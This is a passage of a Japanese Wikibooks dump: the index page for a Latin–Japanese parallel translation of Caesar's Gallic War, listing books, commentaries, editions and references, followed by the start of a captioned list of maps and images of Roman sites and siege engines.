&lt;div style=&quot;background-color:#dfd; width:70%;&quot;&gt;　『ガリア戦記』は、ガリア戦争の当事者であるカエサルが、簡潔明晰かつ客観的に描写することにより自らの戦争の正当性を示し&lt;ref name=&quot;コトバンク-ガリア戦記&quot;&gt;日本大百科全書(ニッポニカ) 「ガリア戦記」、ブリタニカ国際大百科事典 小項目事典 「ガリア戦記」、等より、[https://kotobank.jp/word/%E3%81%8C%E3%82%8A%E3%81%82%E6%88%A6%E8%A8%98-3148597#w-1522021 ガリア戦記(ガリアセンキ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;、自らに対する種々の非難に対する弁明を意図したものである&lt;ref name=&quot;コトバンク-ガリア戦記&quot;/&gt;。簡潔雄渾な名文として名高く&lt;ref name=&quot;コトバンク-ガリア戦記&quot;/&gt;、第一級の歴史書であるとともにラテン文学の傑作とされている&lt;ref name=&quot;コトバンク-ガリア戦記&quot;/&gt;。&lt;/div&gt;

&lt;br&gt;&lt;br&gt;
&lt;div style=&quot;border:solid #999 1px;background:#F8F8F8;max-width:60%;padding:0.5em 1em;margin:0.5em auto;align:left;overflow:auto;text-align:justify;&quot;&gt;
『ガリア戦記』冒頭部分の英語圏の人による朗読を聴いてみよう。

Gallia est omnis&lt;!--omnes--&gt; dīvīsa in partēs trēs; quārum ūnam incolunt Belgae, aliam Aquītānī, tertiam quī&lt;!--qui--&gt; ipsōrum linguā Celtae, nostrā Gallī appellantur. Hī omnēs linguā, īnstitūtīs, lēgibus inter sē differunt. Gallōs ab Aquītānīs Garumna flūmen, ā Belgīs Mātrona et Sēquana dīvidit.
::::: [[File:La-cls-de-bello-gallico.ogg]] 
::::::([[w:Vorbis|Ogg Vorbis]] 音声ファイル、&lt;strong&gt;長さ 54秒&lt;/strong&gt;、155 kbps)
&lt;/div&gt;


== 各巻対訳 ==
*[[ガリア戦記 第1巻]]（54節）{{進捗|25%|2009-07-28}}&lt;u&gt;（作成途上）&lt;/u&gt;：[[w:ヘルウェティイ族|ヘルウェティイー族]]との戦役。[[w:アリオウィストゥス|アリオウィストゥス]]との戦役。
*[[ガリア戦記 第2巻]]（35節）{{進捗|75%|2022-04-25}}：[[w:ベルガエ人|ベルガエ人]]同盟軍との戦役、大西洋岸の征服。　　　　 
*[[ガリア戦記 第3巻]]（29節）{{進捗|75%|2022-10-31}}：アルプスの戦い、[[w:アレモリカ|大西洋岸]]および[[w:アクィタニア|アクィータニア]]の平定。 &lt;!--【2007年4月30日から】--&gt;
*[[ガリア戦記 第4巻]]（38節）{{進捗|75%|2023-07-24}}：[[w:ゲルマニア|ゲルマーニア]]人との戦役。[[w:ブリタンニア|ブリタンニア]]への初めての遠征。 
*[[ガリア戦記 第5巻]]（58節）{{進捗|75%|2024-09-23}}：ブリタンニアへの再遠征。[[w:エブロネス族|エブローネース族]]ら諸部族の蜂起。 
*[[ガリア戦記 第6巻]]（44節）{{進捗|75%|2025-10-26}}：ガッリアと[[w:ゲルマニア|ゲルマーニア]]の社会と風習。エブローネース族らの平定。 
*[[ガリア戦記 第7巻]]（90節）{{進捗|50%|2026-10-25}}：[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]らが率いるガッリア同盟軍との戦役。 
*ガリア戦記 第8巻（55節）：&lt;u&gt;（掲載未定）&lt;/u&gt;
*:※第8巻は[[w:アウルス・ヒルティウス|アウルス・ヒルティウス]]の筆によるもので、文章の評価はカエサルのものに比べて格段劣る。

== 注解編と用例集 ==
[[画像:Vercingétorix se rend à César 1886 HPMotte.jpg|thumb|right|280px|カエサルのもとへ向かう[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]（アンリ＝ポール・モット [[w:fr:Henri-Paul Motte|(fr)]] 画、1886年）]]
;注解編
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解編]]　{{進捗|25%|2024-09-23}}&lt;/span&gt;　　　&lt;small&gt;（2020年3月27日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解編/写本と校訂版|/写本と校訂版]]　{{進捗|25%|2025-07-27}}&lt;/span&gt;&lt;!-- 2020-04-17 --&gt;　　　&lt;small&gt;（2020年4月17日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解編/表記のゆれ|/表記のゆれ]]　　{{進捗|00%|2026-03-29}}&lt;/span&gt;&lt;!--(2026-03-29)--&gt;　　　&lt;small&gt;（2026年3月29日から）&lt;/small&gt;
*各巻の注解
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第1巻/注解|/第1巻注解]]　{{進捗|25%|2020-06-01}}&lt;/span&gt;　　　&lt;small&gt;（2020年3月27日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第2巻/注解|/第2巻注解]]　{{進捗|25%|2022-05-05}}&lt;/span&gt;　　　&lt;small&gt;（2021年8月26日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第3巻/注解|/第3巻注解]]　{{進捗|25%|2022-10-27}}&lt;/span&gt;　　　&lt;small&gt;（2022年3月27日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第4巻/注解|/第4巻注解]]　{{進捗|25%|2023-07-10}}&lt;/span&gt;　　　&lt;small&gt;（2022年10月20日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第5巻/注解|/第5巻注解]]　{{進捗|25%|2024-09-23}}&lt;/span&gt;　　　&lt;small&gt;（2023年07月20日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第6巻/注解|/第6巻注解]]　{{進捗|25%|2025-11-05}}&lt;/span&gt;　　　&lt;small&gt;（2024年09月09日から）&lt;/small&gt;
**&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[ガリア戦記 第7巻/注解|/第7巻注解]]　{{進捗|00%|2026-10-25}}&lt;/span&gt;　　　&lt;small&gt;（2025年10月20日から）&lt;/small&gt;

;用例集
*&lt;span style=&quot;background-colo:#ffd;&quot;&gt;[[/用例集]]　{{進捗|25%|2020-03-29}}&lt;/span&gt;&lt;!-- 2020-03-29 --&gt;

;ガリア語
*&lt;span style=&quot;background-colo:#ffd;&quot;&gt;[[/ガリア語の名前]]　{{進捗|00%|2025-12-07}}&lt;/span&gt;&lt;!-- 2021-09-25 --&gt;

== 付録1 ==
{{Wikipedia|ガリア戦記|ガリア戦記}}
{{Wiktionary|la:Commentarii_de_bello_Gallico|ガリア戦記}}
{{Commons|Category:Gallic_War|ガリア戦争}}
&lt;!--
*[[/あらすじ]]：各巻のあらすじ
--&gt;
*[[/内容目次]]：巻・章・節の内容を記した目次　{{進捗|75%|2011-04-02}}
*[[/参照画像一覧]]：本文で参照した画像一覧　 {{進捗|75%|2026-06-14}}
*[[/ガリアの河川]]：本書で言及される河川　 {{進捗|00%|2023-01-07}}&lt;!--【2021年11月22日より】--&gt;

*[[/関連年表]]
*[[/対訳語彙集 (羅和)]] - [[/対訳語彙集 (羅英)]]
**[[/人物一覧 (羅和)]]
**[[/部族一覧 (羅和)]]
**[[/地名一覧 (羅和)]]　{{進捗|25%|2010-04-07}}

== 付録2 ==
*&lt;span style=&quot;background-color:#ffa;&quot;&gt;'''[[古代ローマの不定時法]]'''　　　{{進捗|50%|2020-08-24}}&lt;/span&gt;　&lt;!-- 2016-12-31 --&gt;
*&lt;span style=&quot;background-color:#ffb;&quot;&gt;[[ガイウス・ユリウス・カエサルの著作/ラテン語の紀年法|/ラテン語の紀年法]]　　　{{進捗|75%|2009-01-12}}&lt;/span&gt;
*&lt;span style=&quot;background-color:#ffb;&quot;&gt;[[ガイウス・ユリウス・カエサルの著作/古代ローマの攻城兵器|/古代ローマの攻城兵器]]　{{進捗|00%|2019-08-06}}&lt;/span&gt;
*&lt;span style=&quot;background-color:#ffffcc;&quot;&gt;[[ガイウス・ユリウス・カエサルの著作/古代ローマの軍旗類|/古代ローマの軍旗類]]　　{{進捗|00%|2022-01-22}}&lt;/span&gt;&lt;!--【2022年1月22日より】--&gt;
*[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位|/通貨・計量単位]]　　　　{{進捗|25%|2020-12-27}}&lt;/span&gt;

== 原文出典 ==
{{Wikisource|la:Commentarii de bello Gallico|ガリア戦記}}
{{進捗状況}}
*ラテン語版ウィキソース：[[s:la:Commentarii_de_bello_Gallico|Commentarii de bello Gallico]]（ただし、校訂本の出典記載なし！ しかも誤植が多いので注意！ α系写本の影響が強いと思われる。）
:以下の校訂本を参照しながら、できるだけα系写本の影響を尊重しつつ、原文を修整した。
*トイプナー古典叢書（&lt;small&gt;[[w:la:Bibliotheca_scriptorum_Graecorum_et_Romanorum_Teubneriana|Bibliotheca scriptorum Graecorum et Romanorum Teubneriana]]&lt;/small&gt;）
**C. Iulii Caesaris Commentarii Rerum Gestarum, edidit [[w:de:Otto_Seel|Otto Seel]], vol.I. Bellum Gallicum, [[w:la:Lipsia|Lipsiae]], Teubner, 1961.
*:（オットー・ゼール(1907-1975)編。現代の代表的な校訂本。β系写本の影響がやや強い。絶版。）
**C. Iulii Caesaris Commentarii Rerum Gestarum, edidit [[w:de:Wolfgang_Hering|Wolfgang Hering]], vol.I. Bellum Gallicum,  Lipsiae, Teubner, 1987.
*: {{ISBN|978-3-322-00351-5}} ({{ISBN|3-322-00351-5}})
*:（ヴォルフガング・ヘーリンク編。最近の校訂本。写本の異同などの情報量、文の完成度はゼール版より劣ると思われる。）

== 参考文献 ==
*ラテン語・英語対訳
**CAESAR: The Gallic War (with an English translation), by H. J. Edwards, [[w:en:Loeb_Classical_Library|Loeb Classical Library]](#72), [[w:en:Harvard_University_Press|Harvard University Press]], {{ISBN|979-0-674-99080-7}}
**:（1917年の初版以来、[[w:ローブ・クラシカルライブラリー|ローブ古典叢書]]の一冊として刊行され続けている読み物としての普及版）

*ラテン語・日本語対訳
**『カエサル『ガリア戦記』第I巻』遠山一郎 訳注、大学書林、2009年、{{ISBN|978-4-475-02446-4}}

*日本語訳
**『ガリア戦記』 カエサル著、近山金次訳、岩波文庫（岩波書店）、1964年、{{ISBN|978-4-00-334071-4}}
**『ガリア戦記』 カエサル著、國原吉之助訳、講談社学術文庫、1994年、{{ISBN|978-4-06-159127-1}}
*英語訳
**CAESAR: The Gallic War (A new English translation) by Carolyn Hammond, [[w:en:Oxford World's Classics|Oxford World's Classics(OWC)]], [[w:en:Oxford University Press|Oxford University Press]], First published 1996 ; Reissued 2008、{{ISBN|978-0-19-954026-6}}（近年の新訳）
*注釈書
**Gould, H.E. &amp; J.L. Whiteley. C. Iuli Caesaris Commentariorum De Bello Gallico. Liber Quartus. (London: Macmillan &amp; Co Ltd., 1968).；初級者向けの英文注釈がある。
**Caesar: De Bello Gallico V, Edited by R.C.Carrington (再版Bristol Classical Press, 1984), {{ISBN|0-86292-136-8}}

etc.
== 関連項目 ==
*&lt;span style=&quot;background-color:#ffea;&quot;&gt;[[古典ラテン語]]　{{進捗|00%|2018-04-18}} &lt;/span&gt;&lt;!-- 2018-04-18 --&gt;　　 &lt;small&gt;（2018年4月18日から）&lt;/small&gt;
*&lt;span style=&quot;background-color:#ffe;&quot;&gt;[[羅馬史略]]　　　{{進捗|00%|2022-08-18}}&lt;/span&gt;&lt;!-- 2022-08-18 --&gt;　　 &lt;small&gt;（2022年8月18日から）&lt;/small&gt;

== 関連記事 ==
*英語版ウィキソース：[[s:en:Commentaries_on_the_Gallic_War|Commentaries on the Gallic War]]（英語訳）
*フランス語版ウィキソース：[[s:fr:La_Guerre_des_Gaules|La Guerre des Gaules]]（仏語訳）
:　
*ラテン語版ウィクショナリー：[[wikt:la:Commentarii_de_bello_Gallico|wikt:la:Commentarii de bello Gallico]]

== 脚注 ==
&lt;references /&gt;
== 外部リンク ==
* [https://scaife.perseus.org/library/ Scaife Viewer | Library]
** [https://scaife.perseus.org/library/urn:cts:latinLit:phi0448/ Scaife Viewer | Julius Caesar]
*** '''[https://scaife.perseus.org/reader/urn:cts:latinLit:phi0448.phi001.perseus-lat2:1.1.1-1.1.5/ Scaife Viewer | De Bello Gallico]'''
***: [https://scaife.perseus.org/reader/urn:cts:latinLit:phi0448.phi001.perseus-eng2:1.1/ Scaife Viewer | Gallic War]
=== Humanitext Reader ===
* [https://reader.humanitext.ai/ Humanitext Reader｜ギリシア語・ラテン語古典の原文と日本語訳]
** [https://reader.humanitext.ai/library/phi0448.phi001.humanitext-lat2 ガリア戦記（ユリウス・カエサル）原文・日本語訳・あらすじ — Gallic War · Humanitext Reader]
** [https://reader.humanitext.ai/en/library/phi0448.phi001.humanitext-lat2 Julius Caesar, Gallic War — Latin Text with English Translation (Free) · Humanitext Reader]

&lt;!--[http://www.forumromanum.org/literature/caesar/gallic.html Commentaries on the Gallic War]（&quot;corpus scriptorum latinorum&quot; ラテン文学のデジタルライブラリー；英仏訳と地図付）
[http://www.debellogallico.org/index.cgi/bgtext Commentarii de Bello Gallico]（ガリア戦記の日本語対訳サイト）
[http://itunes.apple.com/jp/podcast/classics-texts-caesar-de-bello/id183722640 Classics Texts :: Caesar, De Bello Gallico 2 (Study Speed)]（『[[ガリア戦記 第2巻]]』の各節を[[w:ITunes|iTunes]]向けに読み上げた音声ファイルのダウンロードサイト）
--&gt;

[[Category:ガリア戦記|*]]
[[Category:ラテン語|かりあせんき]]
[[Category:古典ラテン文学|かりあせんき]]
[[Category:ガイウス・ユリウス・カエサルの著作|かりあせんき]]</text>
      <sha1>t1l91iuzctitnzlx8n9jzwthmbuh94n</sha1>
    </revision>
  </page>
  <page>
    <title>ガリア戦記/参照画像一覧</title>
    <ns>0</ns>
    <id>8993</id>
    <revision>
      <id>305261</id>
      <parentid>301986</parentid>
      <timestamp>2026-11-01T08:26:04Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* ゲルゴウィア攻略戦、ハエドゥイー族の離反 */ 修整</comment>
      <origin>305261</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="148306" sha1="0hj8o8zkrjr3ifcgvotqn5sqd24uykz" xml:space="preserve">[[Category:ガリア戦記|さんしようかそういちらん]]

{| id=&quot;toc&quot; style=&quot;align:center;clear:all;&quot; align=&quot;center&quot; cellpadding=&quot;5&quot;
|-
| style=&quot;background:#eef; text-align:center;&quot; |
&amp;nbsp;[[#全般|全般]] |
&amp;nbsp;[[#第1巻|第1巻]] |
&amp;nbsp;[[#第2巻|第2巻]] |
&amp;nbsp;[[#第3巻|第3巻]] |
&amp;nbsp;[[#第4巻|第4巻]] |
&amp;nbsp;[[#第5巻|第5巻]] |
&amp;nbsp;[[#第6巻|第6巻]] |
&amp;nbsp;[[#第7巻|第7巻]] |
&amp;nbsp;[[#第8巻|第8巻]] |
&amp;nbsp;[[#その他・未使用画像|その他・未使用画像]] 
&amp;nbsp;
|}

『ガリア戦記』対訳本文中で参照した画像の一覧。

==全般==
{{Commons|Category:Gallic_War|ガリア戦争}}
&lt;gallery&gt;
画像:Commentarii_de_Bello_Gallico.jpg|1783年刊行の『ガリア戦記』と『内乱記』
画像:Lionel Royer - Vercingetorix Throwing down His Weapons at the feet of Julius Caesar.jpg|カエサル(右)と対面するウェルキンゲトリクス(左)（1899年、Lionel-Noël Royer画）

&lt;/gallery&gt;

==第1巻==
*&lt;span style=&quot;background-color:#ddd;&quot;&gt;[[ガリア戦記 第1巻]]　；　[[ガリア戦記 第1巻/注解]]&lt;/span&gt;
&lt;gallery&gt;
画像:Gaule -58.png|ガリア戦記 第1巻の情勢図（BC58年）。黄色の領域がローマ領。
画像:Divico und Caesar.jpg|カエサル &lt;small&gt;（左側中央）&lt;/small&gt;がアラル川 （&lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;[[w:la:Arar|Arar]]&lt;/span&gt;、[[w:ソーヌ川|ソーヌ川]]） でヘルウェーティイー族 &lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;[[w:la:Helvetii|Helvetii]]&lt;/span&gt; を破った後、その使節ディーウィコー &lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;[[w:en:Divico|Divico]]&lt;/span&gt; &lt;small&gt;（右側中央）&lt;/small&gt; と会見した場面 （第1巻13節～14節）。&lt;br&gt;19世紀スイスの画家 &lt;span style=&quot;font-family:Times New Roman;font-size:13pt;&quot;&gt;''[[w:en:Karl Jauslin|Karl Jauslin]]'' (1842-1904)&lt;/span&gt;による歴史画。ヘルウェーティイー族はスイス人のルーツとみなされるため、ディーウィコーも歴史的英雄として凛々しい姿で描写されている。

&lt;/gallery&gt;

==第2巻==
*&lt;span style=&quot;background-color:#ddd;&quot;&gt;[[ガリア戦記 第2巻]]　；　[[ガリア戦記 第2巻/注解]]&lt;/span&gt;
&lt;gallery&gt;
画像:Gaule_-57.png|ガリア戦記 第2巻の情勢図（BC57年）。&lt;br&gt;黄色の領域がローマ領。桃色が同盟部族領。
&lt;!--【第2巻1節】--&gt;
画像:Campagne_Belges -57.png|ベルガエ人との戦役（BC57年）におけるカエサルの遠征経路。
&lt;!--【第2巻3節】--&gt;
画像:Porte de Mars.jpg|フランスの[[w:ランス (マルヌ県)|ラーンス市]]（[[w:fr:Reims|Reims]]）に残る、帝制ローマ期（3世紀）の軍神マルスの凱旋門（[[w:fr:Porte de Mars|Porte de Mars]]）。&lt;hr&gt;レーミー族 Rēmī（仏 [[w:fr:Rèmes|Rèmes]]）は、[[w:ランス (マルヌ県)|ラーンス]]（[[w:fr:Reims|Reims]]）近辺にいた部族で、都市名 Reims も部族名に由来する。同市のラテン語名は [[w:la:Durocortorum|Durocortorum]] だが、これは彼らの首邑のラテン語名 [[w:fr:Durocortorum|Durocortorum]] である。
画像:Tête 1er siècle Musée Saint-Remi 100208.jpg|後1世紀頃のレーミー族市民のポートレート。[[w:ランス (マルヌ県)|ラーンス市]]のサン=レミ博物館（[[w:fr:Musée Saint-Remi de Reims|Musée Saint-Remi de Reims]]）所蔵。
&lt;!--【第2巻4節】--&gt;
画像:Cimbrians and Teutons invasions.svg|[[w:キンブリ・テウトニ戦争|キンブリ・テウトニ戦争]]の遠征路。&lt;br&gt;ベルガエ人は、両部族の侵攻を撃退した。
画像:England Celtic tribes - South.png|ローマ人に支配される前の[[w:ブリタンニア|ブリタンニア]]島南部の部族分布図。Belgae, Atrebates などの名がある。
画像:Gaule Belgique.png|ベルガエまたはガッリア・ベルギカ（[[wikt:en:Gallia_Belgica#Latin|Gallia Belgica]]）の部族と首邑の配置図。
&lt;!--【第2巻5節】--&gt;
画像:Aisne Berry-au-Bac 150808 1.jpg|アクソナ川、すなわち現在の[[w:エーヌ川|エーヌ川]]（[[w:fr:Aisne (affluent de l'Oise)|l'Aisne]]）。&lt;br&gt;戦場と考えられている、現在の仏[[w:エーヌ県|エーヌ県]]ベリ=オ=バク（[[w:fr:Berry-au-Bac|Berry-au-Bac]]）にて。
画像:Bassin de l'Aisne.png|アクソナ川、すなわち現在の[[w:エーヌ川|エーヌ川]]（[[w:fr:Aisne (affluent de l'Oise)|l'Aisne]]）は、[[w:アルゴンヌ森|アルゴンヌ森]]を源流とし、[[w:オワーズ川|オワーズ川]]に合流し、さらにパリの北方で[[w:セーヌ川|セーヌ川]]に合流する。
画像:108 of 'Cæsar's Conquest of Gaul' (11253491253).jpg|アクソナ河畔におけるローマ・ベルガエ両軍の布陣図&lt;br&gt;（''British Library HMNTS 9041.h.7.''）&lt;hr&gt;※『ガリア戦記』の古戦場を発掘したウジェーヌ・ストッフェル大佐（[[w:fr:Eugène Stoffel|Eugène Stoffel]]:1821-1907）の説によるもので&lt;ref name=&quot;近山&quot;&gt;[[w:近山金次|近山金次]]訳『ガリア戦記』等を参照。&lt;/ref&gt;&lt;ref name=&quot;uchicago&quot;&gt;[https://penelope.uchicago.edu/Thayer/E/Journals/CJ/36/6/Caesars_Camp_on_the_Aisne*.html Caesar's Camp on the Aisne — Classical Journal 36:337‑345&amp;nbsp;(1941)]等を参照。&lt;/ref&gt;、これが有力な説となっている。&lt;hr&gt;図中の [[w:fr:Berry-au-Bac|Berry-au-Bac]], [[w:fr:Condé-sur-Suippe|Condé-sur-Suippe]], [[w:fr:Guignicourt|Guignicourt]], [[w:fr:Pontavert|Pontavert]](以上[[w:エーヌ県|エーヌ県]])並びに [[w:fr:Gernicourt|Gernicourt]]([[w:マルヌ県|マルヌ県]])は、近現代の自治体名。
画像:02073-Berry-au-Bac-Sols.png|アクソナ河畔においてローマ・ベルガエ両軍が布陣したと考えられている現在の[[w:エーヌ県|エーヌ県]]ベリ=オ=バク（[[w:fr:Berry-au-Bac|Berry-au-Bac]]）の地図。左図の中央部に対応する（[https://www.google.com/maps/place/%E3%83%95%E3%83%A9%E3%83%B3%E3%82%B9+%E3%80%9202190+%E3%83%99%E3%83%AA%E3%83%BC%EF%BC%9D%E3%82%AA%E3%83%BC%EF%BC%9D%E3%83%90%E3%83%83%E3%82%AF/@49.4075981,3.8771459,5732m/data=!3m2!1e3!4b1!4m5!3m4!1s0x47e9a4719a9b40b5:0x40af13e8169fa00!8m2!3d49.403069!4d3.899594?hl=ja Google Map]）。&lt;hr&gt;当地は、レーミー族の首邑があった[[w:ランス (マルヌ県)|ランス市]]の市街地から北西へ約19km、徒歩4時間ほど、自動車で20分強&lt;ref&gt;Google Mapsによる。&lt;/ref&gt;。
&lt;!--【第2巻6節】--&gt;
画像:Camp de st Thomas 35143.jpg|ビブラクス（[[w:fr:Bibrax|Bibrax]]）の遺構と考えられている「ラン旧市街（Vieux-Laon）」の復元図。
画像:Saint-Erme-Outre-et-Ramecourt (Aisne) chemin du vieux Laon menant au Camp des Romains.JPG|ビブラクス（[[w:fr:Bibrax|Bibrax]]）と考えられている古代ローマ時代の遺構「ラン旧市街（Vieux-Laon）」が残る仏[[w:エーヌ県|エーヌ県]]の村落サン=トマ（[[w:fr:Saint-Thomas (Aisne)|Saint-Thomas]]）の郊外（[https://www.google.com/maps/place/%E3%83%95%E3%83%A9%E3%83%B3%E3%82%B9+%E3%80%9202820+%E3%82%B5%E3%83%B3%EF%BC%9D%E3%83%88%E3%83%9E/@49.5019503,3.801481,14z/data=!3m1!4b1!4m5!3m4!1s0x47e9b079ab27dfff:0x548dad124cac49dc!8m2!3d49.497623!4d3.820453?hl=ja Google Map]）。&lt;hr&gt;エーヌ県[[w:ラン (フランス)|ラン市]]（[[w:fr:Laon|Laon]]）から東南東へ約19km、徒歩約4時間、車で30分ほど。レーミー族の首邑があったマルヌ県[[w:ランス (マルヌ県)|ランス市]]から北西へ約32km、徒歩約7時間、車で約40分。戦場と考えられる自治体ベリ=オ=バク（[[w:fr:Berry-au-Bac|Berry-au-Bac]]）から北西へ13km前後、徒歩3時間弱、車で約14分。カエサルの記述とおおむね合致する。
画像:Wenceslas Hollar - A testudo.jpg|ローマ軍の[[w:テストゥド|テストゥド]]（亀甲形密集隊形）による攻城戦の想像画（17世紀）。この隊形は、ローマ軍の頑丈な[[w:スクトゥム|方形の長盾]]が可能にしたものであるが、ガッリア人の小さな丸い盾でも可能であるのかは不祥。
画像:Bender - Testudo.JPG|テストゥド（亀甲車）と呼ばれるローマ軍の攻城兵器の一つの復元画。城壁・城門を突き破るための[[w:破城槌|破城槌]]（[[wikt:en:aries#Latin|aries]]）を防護するものと考えられている。
&lt;!--【第2巻8節】--&gt;
画像:047 Conrad Cichorius, Die Reliefs der Traianssäule, Tafel XLVII (Ausschnitt 02).jpg|[[w:トラヤヌスの記念柱|トラヤヌスの記念柱]]（113年）に描写されたローマ軍の兵器バリスタ（またはスコルピオ）。
画像:Balliste fireing.jpg|ローマ軍の巻揚げ式射出機バリスタ（またはスコルピオ）の復元例。
画像:Croped from 108 of 'Cæsar's Conquest of Gaul' (11253491253).jpg|アクソナ河畔におけるローマ・ベルガエ両軍の布陣図&lt;br&gt;（前掲 ''British Library HMNTS 9041.h.7.'' の拡大図）&lt;hr&gt;※『ガリア戦記』の古戦場を発掘したウジェーヌ・ストッフェル大佐（[[w:fr:Eugène Stoffel|Eugène Stoffel]]:1821-1907）の説によるもの&lt;ref name=&quot;近山&quot;/&gt;&lt;ref name=&quot;uchicago&quot;/&gt;。&lt;hr&gt;　現在モシャン（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:13pt;&quot;&gt;Mauchamp&lt;/span&gt;）と呼ばれている集落（図中の右上）のある小高い丘陵にカエサル麾下ローマ軍の陣営（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:13pt;&quot;&gt;Roman camp&lt;/span&gt;）が築かれて、その両隅から突き出した堀の両端にそれぞれ小さい砦（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:13pt;&quot;&gt;Fort&lt;/span&gt;）が置かれ、アクソナ川の支流（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:13pt;&quot;&gt;[[w:fr:Miette (rivière)|Miette R.]]&lt;/span&gt;）の北岸に野営するベルガエ人の軍勢（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:13pt;&quot;&gt;Belgic Host&lt;/span&gt;）に対してローマ軍（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:13pt;&quot;&gt;Roman Army&lt;/span&gt;）6個軍団が布陣している。その南方にある橋をカエサルの副官[[w:クィントゥス・ティトゥリウス・サビヌス|サビーヌス]]率いる6個歩兵大隊が守備する（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:13pt;&quot;&gt;Camp of Sabinus&lt;/span&gt;）（[[#5節]]）。
&lt;!--【第2巻9節】--&gt;
画像:Juvincourt-et-Damary (Aisne) La Miette avec lavoir.JPG|ミエット川（[[w:fr:Miette (rivière)|la Miette]]）
画像:Berry-au-Bac OSM 02.png|戦場となったベリ=オ=バク（[[w:fr:Berry-au-Bac|Berry-au-Bac]]）は現在も沼地（水色の部分）が多い。
画像:Aisne à Pontavert 08309.JPG|現在の[[w:エーヌ県|エーヌ県]]ポンタヴェール（[[w:fr:Pontavert|Pontavert]]）の辺りを流れるアクソナ川〔現[[w:エーヌ川|エーヌ川]]〕。
画像:Map commune FR insee code 02613.png|ベルガエ勢が渡河をめざしたのは、現在のポンタヴェール（[[w:la:Pontavert|Pontavert]]）の辺りと思われる。
&lt;!--【第2巻10節】--&gt;
画像:Bataille_l'Aisne -57.png|[[w:アクソナ川の戦い|アクソナ川の戦い]]における両軍の布陣図。
&lt;!--【第2巻11節】--&gt;
画像:Soupir 1917.jpg|[[w:第一次世界大戦|第一次大戦]]の第二次エーヌの戦い&lt;ref&gt;[[w:en:Second Battle of the Aisne]]&lt;/ref&gt;またはシュマン=デ=ダムの戦い&lt;ref&gt;[[w:fr:Bataille du Chemin des Dames]]&lt;/ref&gt;で戦場となった[[w:エーヌ県|エーヌ県]]スピール村&lt;ref&gt;[[w:fr:Soupir (Aisne)]]&lt;/ref&gt;の荒廃。&lt;hr&gt;本節のベルガエ人の撤退戦・カエサルによる追撃戦の場所は不詳だが、仏独の激戦地にもなった界隈である。
画像:Friedhof Soupir.jpg|同じくスピール村に設立された第一次大戦の戦死者のための国立戦没者墓苑。
&lt;!--【第2巻12節】--&gt;
画像:Remparts romains de Soissons 52.jpg|スエッスィオーネース族 [[w:la:Suessiones|Suessiones]] の名が訛った[[w:ソワソン|ソワソン市]]（[[w:fr:Soissons|Soissons]]）に遺るローマ期の城壁。当地には、ローマ風の都市'''アウグスタ・スエッスィオーヌム'''（[[w:fr:Augusta Suessionum (ville romaine)|Augusta Suessionum]]）が建設され、やがて[[w:ソワソン管区|ソワソン王国]]の都として栄えて今日に至る。
画像:Pommiers (Aisne) city limit sign.JPG|[[w:ソワソン|ソワソン市街]]から北西へ4kmの高台にあるポミエ（[[w:fr:Pommiers (Aisne)|Pommiers]]）。'''ノウィオドゥーヌム'''があったされる有力な候補地の一つである。

画像:Bender - Vinea.JPG|[[wikt:en:vinea|vinea]] の復元画。敵の矢玉などから身を守りながら城壁に近づくために用いられたと考えられている。
画像:Caesar's Gallic war; (Allen and Greenough's ed.) (1898) (14781415375).jpg|城壁(図中の左端)を攻略するために築かれた&lt;ruby&gt;&lt;rb&gt;土塁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; の復元画。左上には、両軍の&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が描かれている。
画像:Avaricum westpoint july 2006.jpg|ローマ軍による攻囲戦のジオラマ。&lt;br&gt;城壁に向かって上り坂の&lt;ruby&gt;&lt;rb&gt;土塁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が築かれ、城壁の手前には&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や&lt;ruby&gt;&lt;rb&gt;工兵小屋&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;などが見える。
&lt;!--【第2巻13節】--&gt;
